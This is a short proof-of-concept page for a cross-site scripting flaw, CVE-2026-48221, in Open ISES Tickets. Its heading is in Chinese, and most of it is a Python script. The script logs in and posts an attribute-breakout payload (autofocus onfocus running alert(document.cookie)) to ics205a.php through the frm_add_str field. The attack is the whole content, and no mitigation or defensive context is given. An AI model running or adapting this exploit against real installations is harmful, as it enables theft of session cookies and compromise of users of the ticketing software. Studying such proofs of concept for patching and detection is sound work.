CVE-2026-48221: Open ISES Tickets反射型XSS漏洞

import requests # Target URL configuration target_url = "http://example.com/ics205a.php" session = requests.Session() # Authenticate (Assuming credentials are known or obtained) login_data = { "username": "attacker", "password": "password" } session.post("http://example.com/login.php", data=login_data) # Payload: Break out of the value attribute and inject an event handler # Expected HTML: <input type="hidden" name="..." value="[PAYLOAD]"> # Resulting HTML: <input type="hidden" name="..." value="" autofocus onfocus="alert(1)"> payload = '" autofocus onfocus="alert(document.cookie)' # Exploit request exploit_data = { "frm_add_str": payload } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("Payload sent successfully. Check if the alert triggers when the page renders.") else: print("Failed to send payload.")